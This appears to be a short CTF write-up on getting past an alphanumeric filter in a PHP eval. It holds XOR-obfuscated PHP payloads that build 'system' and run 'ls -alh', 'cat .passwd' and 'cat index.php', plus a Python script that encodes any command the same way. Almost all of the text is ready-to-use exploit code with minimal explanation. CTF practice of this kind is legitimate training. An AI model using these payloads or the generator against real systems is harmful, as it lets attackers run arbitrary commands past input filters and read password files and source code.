Another CTF challenge playing with xor to bypass filter alphanumeric.

php_eval_non_alphanumeric.py

$_=("@"^"3").("@"^"9").("@"^"3").("@"^"4").("@"^"%").("@"^"-");
$__=("@"^",").("@"^"3")." -".("@"^"!").("@"^",").("["^"3"); // ls -alh
$__=("["^"8").("@"^"!").("@"^"4")." .".("@"^"0").("@"^"!").("@"^"3").("@"^"3").("@"^"7").("@"^"$") // cat .passwd
$__=("["^"8").("@"^"!").("@"^"4")." ".("["^"2").("^"^"0").("@"^"$").("]"^"8").("@"^"8").".".("@"^"0").("["^"3").("@"^"0"); // cat index.php
$_($__);

$_=("@"^"3").("@"^"9").("@"^"3").("@"^"4").("@"^"%").("@"^"-");$__=("["^"8").("@"^"!").("@"^"4")." ".("["^"2").("^"^"0").("@"^"$").("]"^"8").("@"^"8").".".("@"^"0").("["^"3").("@"^"0");$_($__);
$_=("@"^"3").("@"^"9").("@"^"3").("@"^"4").("@"^"%").("@"^"-");$__=("["^"8").("@"^"!").("@"^"4")." .".("@"^"0").("@"^"!").("@"^"3").("@"^"3").("@"^"7").("@"^"$");$_($__);


# generator payload
rest = ""
for i in "cat .passwd":
    for item in string.printable:
        res = chr(ord(i)^ord(item))
        if res not in string.ascii_letters+'`' and item not in string.ascii_letters+'`':
            rest += '("{0}"^"{1}").'.format(res, item)
            break
print(rest)